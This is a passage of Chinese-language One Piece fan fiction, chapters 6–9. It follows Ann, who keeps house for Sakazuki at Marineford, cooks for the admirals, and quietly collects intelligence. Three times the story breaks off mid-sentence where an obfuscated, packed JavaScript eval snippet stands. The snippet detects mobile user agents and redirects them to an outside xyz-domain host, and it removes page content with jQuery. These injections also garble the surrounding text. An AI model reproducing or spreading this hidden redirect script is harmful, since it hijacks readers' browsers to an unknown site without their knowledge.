萨卡斯基走开,到客厅坐下,开放式厨房能看到客厅的全貌,所以安能看到萨卡斯基坐下又站起来,那股不自在的劲隔着老远清晰传来,安看他一眼,给他面子当他是饿得不耐烦:“再等等,炒饭很快的。” 那边飘来“嗯”的应答,随着脚步声萨卡斯基进了书房合上门,安对此只觉得好笑,躲进书房待会还不是要出来吃饭。收回目光后,为了获得更多情报,安一边备菜一边开始复盘今天: 见到卡普和他的上级战国,还得到战国大将的承诺,这部分算计划通且有额外收获,虽说暂时不需要,但好歹有了保命符。 再看看“祸水”先生,结合他的言行以及周围人的态度,他确实不是把事态变成现在这副模样的罪魁祸首,他比她还要不适应她住进他家,也不想和她□□,安倒是无所谓,只要萨卡斯基 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16301801|182784||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不动手打她,不让她在□□时太难受,她对伴侣容忍度特别高,中将职位也够用,战国大将看着就不容易睡到,还是算了。 有趣的是,她当众驳“祸水”先生面子,他却将她带回本部,她要把饭盒丢进垃圾桶,他拎回来。安悟了,有些男人他就是贱,太乖巧他不喜欢,伸出爪子挠他一下,反而会在他心里留下痕迹,他会开始在意,开始思考,开始注视。 而安是不能被在意、被思考、被注视的女人,她身上有魔性的吸引力,她还有万千面具,强者喜欢什么样的性格她都可以变,配合这副□□的身躯,没有她拿不下的对手,只有抓不准的喜好。 当然事情不能一下想得那么满,不能先入为主,安是谨慎的猎人,擅长步步为营。 炒饭还在锅中便散发出诱人的味道,安最后关火撒下葱花就算完成,正要去叫人,萨卡斯基从书房出来。 他似乎在书房做过心里建设,看起来镇定多了,安盛出两碗饭放在饭桌上,特地给萨卡斯基拿了平时装菜的碗公,两人沉默地开动,炒饭放进嘴里萨卡斯基就愣住:好好吃,难怪波鲁萨利诺那家伙吃得那么开心。 他抬眼望向安,犹豫再三干巴巴说了句:“很好吃。”萨卡斯基是个粗人,不像波鲁萨利诺和库赞那样会讨女人欢心,他也懒得去搞这些,但是她…就像强纳森说的,她没做错什么,命运对她本就不公平,她值得更温和的对待。 “谢谢。” 认真吃饭大概真的会让饭更好吃,萨卡斯基很快干掉一碗,再想去装发现已经没了,安也很疑惑,那可是八杯米。 “我晚点给你煮面条吧。” 安把碗筷收拾好洗干净,这次萨卡斯基没有回书房,他等安忙完,带着她到门口的立式鞋柜,拉开其中一个抽屉,放进去一大叠贝利: “我工作很忙,不会经常在家,以后钱就放在这个抽屉,日常采购以外给自己添点衣服首饰、喜欢的东西,都可以,不够了我会再放。” 安点头,她在莱卡工作攒了点钱,但马林梵多的物价比莱卡离谱多了,她又没办法在海军本部找到工作,萨卡斯基能主动承担开销最好不过,否则后续她还得朝他伸手讨要,她不擅长这个,以往都是别人把最好的捧到她面前。 “家里的东西你随便用,强纳森应该也是这么交代的。” “我没有乱碰。除了我睡的屋子和厨房,其他地方的东西我都没有乱动。” “……”萨卡斯基不知道说什么好,这种时候她反而礼貌,礼貌性地疏离,礼貌、疏离到十万百千里外。“以后都可以用,书房里的书你也可以看,但是桌上文件不要拿。” 安抬起头,意外之余看得出高兴的神色:“真的吗?” 萨卡斯基知道了,原来她喜欢看书:“是,无聊就出去走走,买东西。…便当也可以再做,我会吃。” “好的。” 安把视线移向推拉门外的小露台:“露台的盆栽我也能伺弄吗?我之前晾衣服看到花草的状态不是很好。” “可以。” 萨卡斯基对花艺和园艺有兴趣,但是基本种不活任何东西,因为他太忙了,待在家里的时间很少,露台那些盆栽是他出发去奥哈拉前买回来的,一出差加上回来忙文书工作,早就把这些植物忘到脑后,安每天在家有空就浇浇水,萨卡斯基不指望她做得多好。 至于花艺,用波鲁萨利诺的话说,全部剪掉就是萨卡斯基的审美。 “还有一个事…”安踟蹰了一下才说道:“我出去买菜,有些摊主不收我的钱,我总觉得不好。” 萨卡斯基能够理解那些人的殷勤,但他不喜欢,又不是付不起,不需要他们的小恩小惠:“你把去哪里买了什么写到纸上给我。” 于是安借用萨卡斯基的书房,正坐在他的位置上,捏着他惯用的羽毛笔慢慢写。拿到纸张,萨卡斯基被女人漂亮的字震了一下,做得一手好饭,写得一手好字。他捏着那张纸看了看,看了又看,最后重新誊了一张交给强纳森去付钱,这张原件就放在他的书房,和其他重要文件一起锁在抽屉里。 7. 第七章 说好要给萨卡斯基煮面条,安休息一会开始忙活,家里没有现成的面条,但是有面粉,可以手工做,醒面团的时候她考虑了一下要不要端点水果过去,但是草莓剩两三颗,芒果也是切剩几块…安选择自己吃。 对安交代完事情以后,萨卡斯基又回到书房,这次不是躲进去,他带了工作回来。本来奥哈拉屠魔令全部毁灭把报告一交就完事,但cp9的长官斯潘达因说自己看到一个小女孩坐着小船从岛上离开,战国将确认小女孩行踪的事交给他,周边的岛屿要派多少人排查、排查什么渠道都要考虑。萨卡斯基一想到这事就怒火中烧,他把避难船都轰了,一个小女孩是怎么坐着小船从岛上离开的! 虽然很火大,但是工作还是要做,他对着地图思考部署,不知不觉,直到安敲书房的门才意识到时间竟然过去那么久。 “我想你差不多饿了。” 安将托盘放在桌边等萨卡斯基收拾文件,碗里是刚做好热腾腾的鸡蛋拌面,点缀着葱花,色泽浓郁,喷香诱人,萨卡斯基的肚子立刻发出“咕噜”的声音,男人收拾的动作一顿,露出尴尬的神色,他瞥见安在微笑,脸微微涨红。 想着萨卡斯基吃饭快,安干脆坐在隔壁等他吃完,也不知道他今晚是不是住家里,她都开始困了,如果不□□她就要自己回房间睡觉了哦。 “你还要工作很久吗?”看对方吃得七七八八,安问。 “你困就去睡。”萨卡斯基吃下最后一口面,被工作摧残的心灵得到抚慰,原本紧绷的五官松弛下来,普通的回话轻声说就不显得生硬。 安点头,看来今晚不会被袭击,她的心情也很好:“那你把换洗的衣服放在篮子里,我明天再洗。早点休息。” “…好。” 大概得花点时间才能消化这样的日常对话。萨卡斯基想。 第二天安听到有人活动的声音,爬起来查看正好碰到萨卡斯基结束晨练从本部食堂打早饭回来。安有点懵,这个点不是她平常起床的时间,大脑还不清醒,她完全忘记萨卡斯基昨天睡在家里。 “站着干什么?” 萨卡斯基抬头看她,刚睡醒的安不复清醒时摄人的美丽,有种钝感的可爱。她维持着那副空白的表情在椅子上坐下,愣愣地看着萨卡斯基把饭盒一一打开摆在桌上。 “吃吧。” 饭堂的伙食很不错,为了迎合将领、海兵们各种各样的饮食习惯,什么都有,萨卡斯基不知道安爱吃什么,什么都打包一份,安当然吃不了那么多,被吵醒更是吃不下,只捡点清淡的粥搭配小菜,剩下的全进了萨卡斯基的肚子。 时间还早,但萨卡斯基无所谓准点上下班,便起身打算回办公室,他听到安也站起来,一直跟着他走到玄关,心想着她也要出门吗?穿好鞋扭头看到的是安伸手取他挂在衣帽架上的外套递过来:“路上小心。” “…嗯。” 他妈的他好像有点理解强纳森。 萨卡斯基果然如他说的那样忙,早出晚归,没有悠闲在家的时候。但他只要人在马林梵多就会回家吃饭睡觉,反正月步一登就到家。他说早饭不用安忙活,可以去饭堂打包,安就配合萨卡斯基的作息起床,和他同桌吃早餐,然后送他出门。 他们依旧维持礼貌的距离和接触,但是家里所有的杂事安都会为萨卡斯基做好,再也没有忙到没空处理的家务卫生和换洗衣服。萨卡斯基晚洗漱,安就第二天白天收拾,他早弄好,安就当晚搞,还会把深浅衣服分开洗,制服、衬衫熨烫平整叠好放到他的床上,波鲁萨利诺的原话是:萨卡斯基,你闻起来香香的。 既然允许对方入侵他的空间,萨卡斯基就不能有抱怨:玄关的女鞋、重新启用的浴缸(先前萨卡斯基洗的是战斗澡用不上)、书房的读书笔记、花圃边上小几个号造型可爱的浇花喷壶、厨房里扎头发的皮筋…还有晾在他的四角裤旁边的蕾丝内衣裤。 第一次看到这个场景时,萨卡斯基久久不能从震撼中抽离。 除此之外一切都好,那些半死不活的盆栽在安的照料下重新焕发生机,还没开花也郁郁葱葱、欣欣向荣,中午回家打开门就能从玄关看见,叫人心旷神怡。萨卡斯基没想到她能做得那么好,除了露台那些,安又买回来新的,她还会买鲜花装饰家里,在他冷硬的书房里摆上大小适中的造景盆栽,萨卡斯基对此没有任何意见。 让萨卡斯基坚持回家吃饭的其中一个决定性因素,安做饭实在太好吃,问过他的口味以后,她会特地做他爱吃的东西。奇妙的是,安根本吃不了辣,出自她手的辣菜、辣锅、辣味调料却每每都让萨卡斯基好吃到停不下嘴,他最近迷上一个叫火锅的东西,红彤彤的汤底简单地涮上肉片就已经很好吃,沾上安给他调出来的调料,搭配白米饭简直完美,就是会吃出一身味道,从前他不会在乎这些,反正见的都是一周洗不到一次澡的臭男人,但现在萨卡斯基会在意身上会不会有异味。 萨卡斯基终于承认有了安,日子确实过得比以往舒心,不管什么时候回家都有人在家里等着,不管多晚回家玄关都留着一盏灯。安不知道他使用见闻色在黑暗里也能很好视物,但是她会从自己的角度出发,怕他太晚回来看不到台阶。 男人早早在外摸爬打滚,流血流汗不流泪,他曾以为自己与这些事沾不上边,但安就像是玄关那盏灯,不管他需不需要都柔柔照着他。 因此萨卡斯基理所当然对安投以关注。 他很庆幸她在他这过得舒服,应该是这样没错,他们的距离和关系依旧没有如同外人想象的那样,但安明显变得更加随意,不再局限于自己的房间,她开始在家里的公共区域打造自己的舒适区,最开始是新买的放在露台的花园桌椅和落地灯,然后是沙发上不再收进房间的毯子。 有一次萨卡斯基下午回家拿点文件,看到安侧躺在沙发上,书掉在地上,一条莹白的手臂伸在空中,明显就是看书犯困直接睡,书掉了都不知道醒。萨卡斯基凝视女人毫无防备到想让人犯罪的睡脸许久才把书捡起来放在桌上,叫她,让她回房间睡。 第三声呼唤后,安醒了,但没完全醒,她迷蒙地看着他,压得泛起红晕的一边脸颊被枕头挤得有些变形,樱花色的嘴唇同样被挤得嘟起,萨卡斯基不知道她到底有没有搞清楚现在的状况,他看到安再次合上眼睛,心想她应该是还想睡。 想睡就回房间睡。 以萨卡斯基的身高体力,抱起安跟托起一片树叶没什么区别,她又瘦又轻,即使睡得软绵绵也不费萨卡斯基吹灰之力,他把她横抱起来,两三步就走到她的房间,将她放在床上盖好被子才离开。 在那以后,安在客厅的沙发上睡着的次数变多,这个家不存在第三个人,在沙发上睡着却在床上醒来,所有的证据都指向一个可能性。 不,也许早就知道是怎么回事,但她醒来以后什么也没说,什么也没问,只是继续度过每一天。不管是无意还是成年人的心照不宣,好几个加班晚归的夜晚,萨卡斯基都将安从沙发运回她的床盖好被子再悄声离开,有时候他会想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16301802|182784||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,她是不是在等他回来? 她会感到寂寞吗?安从不说,所以萨卡斯基不知道,但这是萨卡斯基坚持回家吃饭的另一个决定性因素。 萨卡斯基说可以做便当,安便不时送点什么到办公室,知道萨卡斯基喜欢吃辣和白米饭,她换着花样搞,有时候是果盘、馅饼、糖水,连带着同一个办公室的人都沾光。 波鲁萨利诺言出必行,给安的粉色便当送了回礼,是一条品质很好的大象鲔鱼和一个中介的电话虫号码。想要什么打电话去,市面上有的不必说,只要付得起钱哪怕是有点难搞的东西也可以搞到手,如果是一些没有的东西,比如形状特别的家具、定制的首饰中介也可以帮忙联系,安一般用来买食材,每天都是最新鲜的货,她放在露台的摇椅和茶几也是这么买回来的,搬运不需要安操心,只要跟萨卡斯基说一声,他会派人帮她搬。 总而言之,萨卡斯基的同僚们比萨卡斯基还盼着安过来,每天伸着脑袋看一楼的庭院,有卡普和波鲁萨利诺这种纯纯嘴馋的吃货,当然也有动机不纯的,没有生活压力和男人们不合理的争抢后,安变得越发美好,笑得多了,整个人焕发光彩,打个照面都要叫人脸红心跳、浮想联翩,不过这心思只能深埋,开什么玩笑,那可是萨卡斯基的女人,冥狗了解一下? 安拎着饭盒走进本部大门,值守的海兵丝毫不阻拦还会朝她敬礼,安点头回礼,这段时间过去,她至少在本部混了个脸熟——她完全不认识别人,别人却知道她。更别说卡普、波鲁萨利诺、库赞等,连鹤中将都经常和她喝茶拉家常,这让她出入本部变得很方便。 “今晚是回家吃饭吗?” “嗯。” 把萨卡斯基喂饱后安习惯不再收拾饭盒,吃人嘴短,中将们时不时被安投喂,第一次波鲁萨利诺说她这个做饭的人不用洗碗,大家都很自觉吃了拿去洗干净再让萨卡斯基带回家,虽然他们糙,但是洗个碗筷饭盒还是可以的,实在不行就让底下的人洗,只有萨卡斯基的份他也遵循这个做法,安无所谓谁洗,记得拿回家就行。 下到大厅路过告示板,安驻足。大海贼时代开启以来,每天有人葬身大海亦有人名声大噪,这些都是情报,关键时刻可以救命,所以即使身处海军本部,安也从不放弃搜罗情报。 告示板前站着三两将领针对上面的悬赏犯谈天说地,一个留着莫西干头和八字胡的注意到她后,很友善地让出一个位置:“您请看。” “谢谢。”安看向对方确认他的军衔:“上校大人。” 这个告示板安几天前过来才看过,现在又贴了不少新的,让安有点在意的是最上面那张,看照片只是个小女孩,金额却是令人惊讶的7900万。 妮可·罗宾。 “您不必同情这样的人物,她是奥哈拉的恶魔,一个漏网之鱼,必须被肃清。”脸上满是十字刀疤的上校看她盯着妮可·罗宾的悬赏令,开口说道,鼯鼠闻言瞪他一眼:“跟女性说这种事干什么!” “没有关系,我一直待在本部,能多听听外界的事也是好的。” 能够想象七八岁的年纪被悬赏,还悬赏如此高的金额,对这个叫妮可·罗宾的女孩来说多么可怖。安可以想象她犹如过街老鼠一般被人从这里赶到那里,小小年纪睡觉也不得安生,得时刻提防举报和背叛,运气不好或许就死在哪个街头巷角无人问津,即使顺利长到一定年纪,也可能要出卖身体以求活命。但对于此时此刻的安来说,不过是张贴在告示板的悬赏令,别人的苦难人生罢了。 8. 第八章 “长期出差?” 安停下筷子看向萨卡斯基,男人点点头,也没再吃,他皱起眉头,心想早知道吃饱再说,安看起来有点受影响,她不会说她饱了吧。 这种长期出差原本没他什么事,萨卡斯基的确实力强大,干外勤能解决不少刺头,但他是少见的内勤也能做好的中将,其他中将要么半路出家公文格式都搞不清楚,要么各种糊弄(说的就是波鲁萨利诺和库赞),甚至还有不识字的,为了大海贼时代大批量招安、晋升的人如今反而变成难以管理的对象,两年了本部还没捋顺。 战国虽然不那么认同萨卡斯基的观念,但他不能否认萨卡斯基的工作能力,所有文书都格式清晰,有头有尾,连带着他底下的人也是干文书工作的一把好手,为了自己不被气死,他有意识减少萨卡斯基的外勤,加上安入住马林梵多,他更不好拆散。 但是事出有因,现在本部的战力要尽可能往外派,金狮子史基越狱一事一登上报纸,尽管本部立刻同世界新闻社交涉把报纸回收,仍有一部分人收到消息,一传十,十传百,大海上的不法之徒们沸腾,到处烧杀抢掠,更有者太岁头上动土,登陆加盟国称王称霸,那个岛屿盛产一种美容精油,天龙人的女眷们很爱用,一听说这个岛屿被海贼攻陷,立刻就要海军派兵去处理,一刻都不愿意等,空元帅直接指名萨卡斯基,这事板上钉钉没有回转余地,萨卡斯基也是今天早上才接到的通知,现在中午吃饭告诉安,吃饱收拾行李,下午把工作吩咐一下就走。 萨卡斯基看到安的脸上写着“这么快吗”几个大字,“那什么时候回来?” “不知道,只解决加盟国的事很快,但可能会有其他任务。”不然怎么叫长期出差,上头指哪他们就得调转船头驶向哪。 “啊…好的。” 安没有像萨卡斯基想象的那样少吃或者不吃,她垂着眼一口一口把米饭和菜放进嘴里,反而是萨卡斯基有点食不知味。吃饱后,萨卡斯基问:“你要和我一起收拾行李吗?” 安闻言放下手中拢到一起的碗筷走进萨卡斯基的房间,说是一起收拾,其实没什么要收,萨卡斯基出差的行李少得可怜,就制服、私服、贴身衣物,薄的厚的各收拾两套,没了。安唯一要做的是帮他把衣服放进军用背包。 收完行李,萨卡斯基和安一样坐在榻榻米上,他看着安,生出名为“担心”的情绪。她那么静,这种静从内到外,她的言语、行为静,不管做什么动作都轻,说话声音也不大,常常等着他说话以后才会搭话;她的爱好更静,好像只喜欢看书,不时会写写读书笔记,还有就是每天做菜,照料花草,为他收拾打理家里的杂事,没有工作,没有朋友,萨卡斯基怀疑自己出差期间,安几天都不会和人说一句话。 “强纳森的妻子杰西卡在马林梵多经营一家餐馆,你可以去坐坐。” 安点头应下,乖巧得很,但萨卡斯基看她兴趣似乎不是很大,说不定最后又会窝在沙发上自己一个人看书看到睡着,他没在家,谁给她抱回床上?简直想把她打包带着一起走。 萨卡斯基被自己的想到惊到,安住到马林梵多不到两个月,他们之间没有那么多羁绊,有的只是每天没有什么太大变化的日常,他为什么会这么想?最后萨卡斯基离开家时简直有点落荒而逃的意思,也许这次出差是个好机会,他可以好好理清思绪,安一如既往送他出门,站在玄关给他递外套,对他说“路上小心”,而萨卡斯基却不能平常对待,还没有踏出家门,他似乎已经知道思考尽头的答案。 萨卡斯基说让她去杰西卡的餐厅,安就去,当做完成任务也会走一趟。杰西卡的餐厅坐落在距离本部不远的街道,名为“欧兰特”,她是个有着一头金色长发的美人,性格强势之余又不失温柔,安在店内坐下没多久,她就亲自从厨房里出来招待她。 “我是店长兼主厨,需要我为您介绍今天的推荐菜品吗?” “那就麻烦你了。” 最后安按照她的推荐菜品点单,品尝,味道还不错。现在是饭点,餐厅里面座无虚席,也许一开始开店是靠的关系疏通,能经营成这样毫无疑问是杰西卡自己的实力。 萨卡斯基走之前那样说,安就知道他在期待更多,比如她和杰西卡能够成为朋友。这种事情安不会勉强,杰西卡一看就是事业型,她有自己想做的事,未必想把时间浪费在丈夫上司的女人身上,也未必喜欢她这种靠男人养活、把心思全部挂在男人身上的类型,不过反正萨卡斯基走之前把工资卡上交了,她不必担心钱,懒得自己煮的时候会过来,剩下的就顺其自然吧。 安没有萨卡斯基想象的那样寡,如果不考虑年龄,本部她也有“朋友”。卡普知道萨卡斯基被外派后,他只要在本部就会特地跑来家里带着她去战国的办公室喝茶,耕次作为战国的副官经常能见到,鹤不时也会在,偶尔能看到罗西南迪。 而今天人特别多,除了本该在这个办公室的战国和耕次,鹤、罗西南迪都在,还有两个她不认得的男人,卡普带着安进来的时候都惊了,还以为又发生什么大事,其实没有,就是正好凑到一起。罗西南迪是学校休息,战国没有假,想孩子了,他便在办公室陪着。 “安随便坐。” “好的。” “安姐姐,我给你倒茶。”罗西南迪还是看到安就脸红不自在,安对他笑了笑:“谢谢你,罗西南迪。” “卡普,不介绍一下吗?”空说道。在卡普妻子去世后,他们从没见过他跟哪个女人亲近,还长得那么倾国倾城。 “安是萨卡斯基的军属。安,这是空元帅,这是泽法,也是大将,现在转去做□□,萨卡斯基的老师。” 安一一叫人打招呼,空和泽法听说她的身份后露出和善的表情,泽法和萨卡斯基师生情深,便多说了两句:“真是漂亮的孩子。不过没听说过萨卡斯基有妹妹啊。” “安是他老婆。” “…?” 泽法露出迷茫的表情,随后转为震惊,意识到这样不礼貌,他想撤回去,不太成功,最后变成一个扭曲的表情。讲真,听到波鲁萨利诺结婚他都不会那么震撼,怎么偏偏是萨卡斯基…憋了老半天,他挤出一句“恭喜”,卡普笑得震天响,眼泪都出来了,仙贝喷得到处都是,被鹤骂“脏死了”,罗西南迪乖巧地用抹布清洁桌面。 比起杰西卡,安更喜欢和这些将领呆在一起,她可能没什么机会发表意见,大多数时候都在为他们泡茶、添水,但是大人物们闲聊时漏出来的信息能拼凑出很多东西,安喜欢这些关键时刻能保命的情报。 “推进城的监狱长已经定下来了吗?”泽法问,战国点头:“已经决定由麦哲伦继任,文件在拟定中。” “就是那个毒毒果实的副监狱长是吗?他很不错,责任心非常强。顿巴实在可惜,该死的金狮子…”泽法深深叹了一口气,罗西南迪几乎是冲过去夺过泽法的杯子:“老师!我给你倒茶!” 泽法怎么会看不出罗西南迪的异常,他抬起头发现战国在给他使眼色,卡普和鹤同样,他有点疑惑,他讲错什么了吗? “我知道我不该问…但是史基大…史基越狱的事是真的吗?”安调动脸部的肌肉作出恐惧的表情,同时添加一些小动作增加可信度,希望能从他们的口中得到回复。 她看到史基越狱的新闻,她曾以为这个大事件会连着报道好一段时间,但第二天的报纸再也没有相关描述,她不认为前一天的是假新闻,也许是海军压下这个消息,不能那么直接询问,但是可以使点小手段确定真伪。 “安,你不用害怕,海军本部铜墙铁壁,他不可能闯进来把你带走。”卡普安慰道,安闻言只是勉强点头,依旧一副惴惴不安的样子,心中却不得不佩服一句:看来是逃走了,真有他的。 眼见办公室的氛围越来越古怪,罗西南迪都开始坐立不安,鹤站出来缓解:“安,你喜欢什么颜色?我给你选了几件和服的样式,颜色却迟迟定不下来。” 几个男人脑袋冒出小问号,这个话题跨度也太大了吧,不过他们还是顺着鹤的话说:“安穿什么颜色肯定都很好看。”而罗西南迪大概是进行了一番想象,脖子都红了。 鹤都无语了:“我当然知道安穿什么颜色都好看,所以问她的喜好。” “鹤中将,怎么突然…” “之前不是都叫鹤姨的吗,怎么又改过来。” 安看了眼空和泽法,意为有不熟悉的上级在,她不敢表现得如此亲近,她的小心翼翼再次赢得长辈们的怜爱,鹤身为女性,联想到安曾被金狮子糟蹋更是痛心不已:“安,虽然你来马林梵多的时间不长,但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16301803|182784||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我们都很喜爱你,将你看做亲近的后辈,你不必如此微小谨慎。” 切实感受到对方的关爱,安适时放松眉头露出微笑:“鹤姨,谢谢您。” “作为长辈送你礼物再应当不过,更别说你隔三差五就给我们送点心果盘糖水,连个回礼也没有就太离谱了。”鹤露出微笑:“我的孙女孔雀之前见到你,一直说想要和仙女姐姐做朋友,等和服到了,安来我家试穿吧。” “是这个道理没错。”战国也点头,从抽屉里掏出一个精致低调的长条形礼盒递给安,“这是我的份。” “啊?!战国!你竟然都准备好了??怎么都不提醒我!”卡普瞪大眼睛埋怨道,战国反驳:“这种事还要人提醒吗!” “嗯…那我也得想想贺礼,你们还没举行仪式吧,打算什么时候弄?”泽法问,空也是同样的意思,中将以上级别的海军很少有人结婚,他这个做元帅的必须有所表示。 这问题安真回答不了,于是她说“都听萨卡斯基的”,成功蒙混过关,至于喜欢的颜色,安随便说了个粉色。 之后安又呆了一会,大家都有工作,她便告辞离开,正好在走廊遇到刚回来的波鲁萨利诺和库赞,两个人都是一脸疲惫,波鲁萨利诺看到她眼睛一亮: “哦~~~~!安!拜托你了,今晚和我吃个饭吧!只有和你吃饭才能治愈我在大海看尽那些歪瓜裂枣时受伤的心灵~~~库赞也来。” “等等…我…”库赞下意识就要拒绝,但是他瞥见安以后,拒绝的话就再也说不出来,最后他垮下肩膀,被波鲁萨利诺打包带走。 在包间,波鲁萨利诺像个小孩子一样把脸贴在桌子上,可怜巴巴,库赞也显得有些无精打采,安给他两倒茶:“这次的任务很难吗?” “不难,就是烦人。一群蝼蚁无能狂怒,杀又杀不尽。以前出任务能看得到尽头,现在好像永远都不会结束。” 波鲁萨利诺被最近的形势搞得有点心态崩溃,他对付这些无名之辈用不着思考,干就完了,但是干多了也累啊!大海贼时代的非法之徒犹如过江之鲫,还天天有新人冒头,海军培养一个海兵是需要时间的,而平民变成海贼只需要拿起武器,闯出点名头的海贼要将领处理,虽说还有其他将领,但自然系毕竟少,他们三个总是被薅,他这段时间尤其被狠狠薅,因为战国先生不怎么派萨卡斯基出外勤,库赞…哎库赞,奥哈拉那事以后他就怪怪的,果然是发生了什么吧。 波鲁萨利诺感觉一个人承担了所有。 看他这样,安深表同情:“那么吃饱以后请早点回去休息吧,努力工作之余也要照顾好自己。” “安要是我的老婆就好了~” “喂,说这种话不好吧。”原本垂着头的库赞皱起眉头,警告道。 “说得也是,抱歉哦安。”波鲁萨利诺墨镜下的眼睛往库赞那里转了一圈,露出洞察一切的笑,他可以轻而易举说出这种话是因为他没有任何心理负担,但是有人,光是听到就感觉很心虚呢~ 原来如此,库赞自送她到马林梵多态度发生变化是因为他不敢和她多接触,怕自己对同僚的家属产生更违反世俗的感情。安心下了然,端起茶喝了一口,不经意对上波鲁萨利诺探寻的目光,她没有特地伪装成一无所知的样子,一下就被波鲁看穿。 男人的下垂眼看起来无害,却闪着最顽劣的光,他为自己看穿秘密而沾沾自喜,真的太有趣了:他知道,她知道,他们知道对方知道,只有库赞以为别人不知道。 带着逗弄的心态,波鲁萨利诺直勾勾地盯着安,期待她的惊慌失措,但安很坦荡,甚至带着一丝自上而下的嘲讽:库赞对她念念不忘是什么奇怪的事吗?只要她想,任何人都逃不出她的手掌心,包括他波鲁萨利诺。 鸡皮疙瘩在波鲁萨利诺的身上蔓延,有那么一瞬间,他嗅到安身上不安分的气息,这个女人并没有她表现出来的那么弱小可怜,她的躯壳在刚刚不小心,不,故意裂开了一条极细的缝,让他想要试着“迎难而上”,钻进里头去窥视更多—— 下一秒包厢的门被打开,服务员上菜,波鲁萨利诺错开眼神,他听到自己的心在加速跳动,不禁在心里感叹:真是好可怕呢,安。 这顿饭三个人各有心思,但成年人嘛,最擅长的莫过于显得若无其事。 9. 第九章 定下颜色后,和服到货的时间很快,鹤休息日亲自去了一趟萨卡斯基家邀请安,把她弄得怪不好意思:“鹤姨,拨通电话虫让我过去就行,还劳烦您亲自过来。” “不用在意。”鹤也有私心,她想亲眼看看萨卡斯基和安生活的小家。她见多那种家门外人模人样,家门内家暴虐待的人渣,虽然知道萨卡斯基不可能打人,但他不擅长应付女性,鹤担心的是他会不会无意中让安积攒压力。鹤很擅长观察细节,只要让她看一眼家里她就能知道,为此她还把孔雀带过来当借口:“孔雀,叫安姐姐。” 安早就看到鹤身边的孔雀,小女孩大约五六岁,留着一头短发,四肢修长,穿着便于活动的衣服裤子,皮肤晒得有点黑,相貌同奶奶有四五分像,见安看向自己有点紧张害羞,不过还是努力挺起胸膛大声问好,感觉很外向。 与他人对自己的认知不同,安并不喜欢孩子,如果可以她完全不想靠近他们,但她不会让任何人知道这一点。安弯下腰朝孔雀露出笑容:“你好,小孔雀。” 不过是简单的一句话就让小女孩涨红了脸,她肉眼可见变得开心,迫不及待想要和安亲近,安如她所愿:“鹤姨,我正在做饼干,你接下来若是不赶时间,不如等我做好,我们带过去你的家一边试衣服一边吃。” “当然。”这正合鹤的意,她趁着安去厨房的空隙快速打量整个家,最后满意地得出结论:自己的担心是多余的,这个家的物件摆放、露台花草的状态、安在家里表现出来的神情和肢体语言都显示她过得很舒适,这个家如今被柔软包裹。 坐着喝了一会儿花茶,安寻思冻在冰箱里的黄油饼干胚差不多可以烤制,便起身要去厨房,不经意瞥到孔雀,她露出微笑:“小孔雀愿意来帮我吗?” 孔雀用力点头,鹤也说道:“一起吧,我也来帮忙。” 于是两大一小三位女士进到厨房,厨房里也看得出安在这个家的女主人姿态。鹤是知道萨卡斯基的,读书的时候早中晚学校饭堂,工作了以后早中晚本部饭堂,宿舍分配那么多年也就房间和书房用得多吧,一忙起来什么都顾不上,现在这样多好,有个人知冷知暖。 说是让孔雀帮忙,其实只剩下塑型和进烤箱两个步骤,这恰好是最适合小孩子的部分,安买了不少可爱的模具,把冰箱里的黄油饼胚拿出来给孔雀按图案后,安从下面的柜子拿出材料,黄油饼干这点分量拿到别人家去肯定不够吃,她打算再做一些简单的燕麦饼干。有鹤和孔雀搭把手,两种饼干很快就做好了,出门时孔雀还想牵安的手,又害怕她不同意,绞着手指扭扭捏捏,安察觉到后主动去牵她,把她高兴得脸颊红扑扑。 鹤的分配房就在隔壁栋,坐电梯下楼再上楼就到了。鹤会观察安的家收集信息,安也会这么做,鹤的家放有很多照片做装饰,除了鹤与家人的合照,安甚至看到年轻的卡普、战国、泽法、鹤的合照,了解到这四人竟然是同期加入海军多年的老战友。 “竟然已经过去那么多年。”鹤陷入回忆之中:“抱歉,要你陪我这个老婆子回忆过去,很无聊吧。” “没有这种事,请鹤姨和我再多说一些。” “不要啦奶奶!人家想看安姐姐穿和服!”孔雀虽然对海军故事百听不腻,但是现在她更加期待安穿和服的样子,她提前看过那些和服的款式和花样,粉粉的,都很漂亮,穿到安身上肯定更漂亮。 安对和服没什么感觉,以前在史基船上没少穿,不过她还是装作惊喜的样子,不厌其烦一件一件仔细穿好向两人展示。鹤还好,帮忙穿衣服的时候已经受过冲击,孔雀只会张大嘴巴目不转睛陷入呆滞,就连照相机电话虫也自动咔嚓咔嚓地记录安身着和服的美丽姿态。 